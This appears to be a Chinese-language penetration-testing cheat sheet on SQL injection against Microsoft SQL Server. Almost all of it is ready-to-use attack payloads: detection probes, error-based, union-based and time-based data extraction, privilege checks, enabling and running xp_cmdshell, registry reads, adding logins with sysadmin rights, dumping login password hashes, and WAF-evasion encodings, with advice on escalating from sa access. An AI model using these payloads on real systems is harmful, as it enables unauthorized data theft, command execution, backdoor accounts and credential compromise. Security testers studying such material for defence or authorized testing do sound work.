MSSQL注入总结

检测方法

字符型需要先使用单引号闭合

  • and 1=1, and 1=2
  • WAITFOR DELAY ‘0:0:5’–
  • ‘ and ‘1’=’1
  • ‘ WAITFOR DELAY ‘0:0:5’–
  • –单行注释,/ /为多行注释
  • 可使用注释代替空格

利用方式

报错型注入利用较为简单,可以直接爆出目标数据,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
版本号:
and 1=0/@@version; --
服务器名称:
and 1=0/@@servername; --
当前使用语言:
and 1=0/@@language; --
当前用户的进程ID:
and 1=0/@@spid; --
用户名:
and 1=0/@@user; --
select user_name();
select system_user;
select user;
枚举列名:
having 1=1
group by name having 1=1

盲注可以通过占用页面上的显示位查询所需数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
union两侧的查询语句列数必须相同,且对应列数据类型应该相同或兼容
union select null,null 递增直到不出错即可得到列数
union select 'test',2,null 判断对应列的数据类型
强制类型转换:
select cast('333' AS varchar)
使用union检索数据时,可以使用and 1=2先屏蔽系统的正常数据
获取当前数据库表/列信息:
select name from sysobjects WHERE xtype = 'U'
select name from syscolumns WHERE id =(select id from sysobjects WHERE name = 'tablenameforcolumnnames')
检索数据库列表:
union select name,null from master..sysdatabases
select DB_NAME(N);
检索目标数据库(此处以dbname代替)的表名:
union select name,null from dbname..sysobjects where xtype='U'--
枚举列名:
union select name from dbname..syscolumns where id=(select id from dbname..sysobjects where name='dbtable')
union select a.name from dbname..syscolumns a,dbname..sysobjects b where b.name='dbtable' and a.id=b.id--
查询数据:
union select null,column1,column2 from dbname..tablename--
错误信息:
select * from master..sysmessages

而当页面不能显示所需数据时,可以采用延迟时间来推测,sql server基于时间的注入主要是利用waitfor delay制造延迟,并配合条件语句来逐步推出目标数据,例如:

1
2
3
4
5
判断权限:
if (system_user='sa') waitfor delay '0:0:5' --

检测version返回第25个字符是否等于5:
if (substring((select @@version),25,1)) = 5) waitfor delay '0:0:5' --

数据库不同权限的利用方式

权限判断:

1
2
3
4
db_owner判断:
' and 1=(select is_member('db_owner')) and '1'!>'3
sa判断:
select IS_SRVROLEMEMBER('sysadmin')

  • 如果是sa权限可以尝试存储过程直接提权,public则尽量获取数据库信息找后台突破

存储过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
exec master..xp_cmdshell 'dir'
exec master.dbo.xp_cmdshell 'cmd.exe dir c:'
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_servicecontrol
xp_availablemedia
xp_enumdsn
xp_loginconfig
xp_makecab
xp_ntsec_enumdomains
xp_terminate_process
重新启动xp_cmdshell:
master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure

用户操作:

1
2
3
4
5
6
7
8
9
10
11
12
增加用户:
exec sp_addlogin 'user', 'pass';
删除用户:
exec sp_droplogin 'user';
查询用户:
select name from master..syslogins
#MSSQL 2000
select name, password from master..sysxlogins
#MSSQL 2005
select name, password_hash from master.sys.sql_logins
赋予管理员角色:
exec master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

一些WAF绕过方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
代替空格:
id=1+union+select+1,2,3/*
%0b代替:
id=1+uni%0bon+se%0blect+1,2,3--
%09 %0A %0B %0C %0D %A0都可代替空格
注释混淆:
id=1/*union*/union/*select*/select+1,2,3/*
id=1+un/**/ion+sel/**/ect+1,2,3--

id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
id=1 /*!union*/ /*!select*/ 1,2,3--(mysql)
大小写混淆:
id=1+UnIoN/**/SeLecT/**/1,2,3--
id=1+OR+0x50=0x50
针对replace过滤关键词的:
id=1+UNunionION+SEselectLECT+1,2,3--
使用长输入造成溢出:
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,3,4,5
url编码:
union%2520select%25201,%2f%2a%21table_name%2a%2f%2520,3
宽字节编码